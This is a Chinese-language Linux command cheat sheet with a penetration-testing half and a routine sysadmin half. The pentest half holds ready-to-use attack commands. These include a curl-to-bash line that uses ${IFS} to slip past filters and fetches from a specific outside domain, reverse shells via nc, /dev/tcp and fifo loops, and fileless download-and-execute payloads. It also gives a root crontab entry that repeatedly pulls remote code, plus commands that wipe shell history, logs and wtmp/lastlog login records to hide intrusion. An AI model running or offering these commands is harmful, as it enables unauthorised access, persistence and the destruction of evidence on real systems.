Linux 常用命令(渗透 / 运维)
面向渗透测试与运维排障的常用命令,不含基础文件/目录操作。 bash 命令 空格可用 ${IFS} 代替
ls${IFS}-al
curl${IFS}lcx.lol/get|bash
一、渗透向
信息收集与权限
内核、主机名、架构:
uname -a
当前用户、uid/gid、所属组:
id
whoami
用户列表(可配合 grep 筛 uid=0):
cat /etc/passwd
用户组:
cat /etc/group
当前用户可免密执行的 sudo 命令:
sudo -l
sudo 配置:
cat /etc/sudoers
ls /etc/sudoers.d/
环境变量(含 PATH、敏感配置):
env
主机名:
hostname
网卡、IP、路由:
ip a
ip route
本机监听端口与对应进程:
ss -tulnp
netstat -tulnp
挂载点(找共享、敏感目录):
mount
计划任务(提权、持久化入口):
cat /etc/crontab
crontab -l
系统级 cron 目录:
ls -la /etc/cron.*
SUID 文件(常见提权点):
find / -perm -4000 2>/dev/null
SGID 文件:
find / -perm -2000 2>/dev/null
带 capability 的可执行文件:
getcap -r / 2>/dev/null
反弹 Shell / 隧道
本机监听,等待反弹连接:
nc -lvnp 端口
nc 反弹(部分版本支持 -e):
nc -e /bin/sh 攻击机IP 端口
bash 反弹:
bash -i >& /dev/tcp/IP/端口 0>&1
nc + fifo 反弹(无 -e 时):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 端口 >/tmp/f
Python 反弹(可查 revshells):
python -c 'import socket,subprocess,os;...'
本地 SOCKS5 代理(本机 1080):
ssh -D 1080 user@跳板
反向隧道,攻击机连远程端口即到目标内网:
ssh -R 远程端口:127.0.0.1:本地端口 user@攻击机
本地转发,本机连本地端口即到内网服务:
ssh -L 本地端口:内网IP:服务端口 user@跳板
下载与无文件执行
下载并执行:
wget http://IP/脚本 -O /tmp/x; chmod +x /tmp/x; /tmp/x
同上,用 curl:
curl -o /tmp/x http://IP/脚本
直接管道执行(无落地文件):
curl http://IP/脚本 | bash
base64 解码落盘执行:
echo "base64串" | base64 -d > /tmp/x; chmod +x /tmp/x; /tmp/x
持久化与痕迹
当前用户加计划任务(反弹、维持):
crontab -e
写入 root crontab(需有写权限):
echo "*/5 * * * * curl IP:port | sh" >> /var/spool/cron/root
开机自启服务(若已植入 unit):
systemctl enable --now 服务名
清空当前 shell 历史:
history -c
清空 bash 历史文件:
echo "" > ~/.bash_history
清空指定日志(需权限):
> /var/log/xxx.log
SSH 免记录与登录痕迹清理
SSH 登录免写本机 known_hosts、不校验主机密钥(目标不记入本机 SSH 记录):
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -T root@10.10.10.10 -p 22 /bin/bash
登录目标机后,当前会话禁用 .bash_history 记录:
unset HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
清理目标机登录日志(wtmp/btmp/lastlog),需 root;删除 wtmp 最后一条需执行多次:
utmpdump /var/log/wtmp > /tmp/last.txt && head -n -1 /tmp/last.txt > /tmp/last1.txt && utmpdump -r /tmp/last1.txt > /var/log/wtmp && rm -rf /tmp/last.txt /tmp/last1.txt && echo > /var/log/btmp && echo > /var/log/lastlog
二、运维向
负载与进程
CPU/内存、进程列表,动态刷新:
top
htop
负载 1/5/15 分钟:
uptime
按内存排序进程:
ps aux --sort=-%mem
按 CPU 排序进程:
ps aux --sort=-%cpu
内存、swap、io、上下文切换:
vmstat 1
按进程看 CPU/IO(sysstat):
pidstat 1
按进程看磁盘 IO(需 root):
iotop
网络与端口
监听端口及进程:
ss -tulnp
netstat -tulnp
所有连接状态(ESTAB、TIME_WAIT 等):
ss -an
抓指定网卡、端口:
tcpdump -i eth0 -n port 80
抓包存文件,事后分析:
tcpdump -i any -w out.pcap
DNS 解析:
dig 域名
nslookup 域名
路由跳数:
traceroute 目标
测内网 HTTP 连通与响应:
curl -v -m 5 http://内网:port
日志与排障
实时跟日志:
tail -f /var/log/xxx.log
systemd 服务日志实时跟:
journalctl -u 服务名 -f
最近错误级别日志:
journalctl -p err -n 100
内核/驱动最近消息:
dmesg | tail
在日志目录搜关键词:
grep -r "关键词" /var/log/
登录成功/失败记录:
last
lastb
各用户最后登录时间:
lastlog
磁盘与 IO
各分区空间:
df -h
目录占用:
du -sh 目录
磁盘 IO 与利用率(sysstat):
iostat -x 1
某目录下被打开的文件(查占盘进程):
lsof +D /path
服务与定时任务
服务状态:
systemctl status 服务名
所有服务单元:
systemctl list-units --type=service
当前用户计划任务:
crontab -l
系统级 cron:
cat /etc/crontab
ls /etc/cron.d/
安全与审计
登录审计:
last
lastlog
近期 SELinux 拒绝(auditd):
ausearch -m avc -ts recent
SELinux 状态:
getenforce
排查异常监听端口:
ss -tulnp
按场景用:渗透侧重信息收集、反弹隧道、提权与持久化;运维侧重负载、网络、日志、磁盘与服务。具体用法可 man 命令 或结合 revshells/cheatsheet 使用。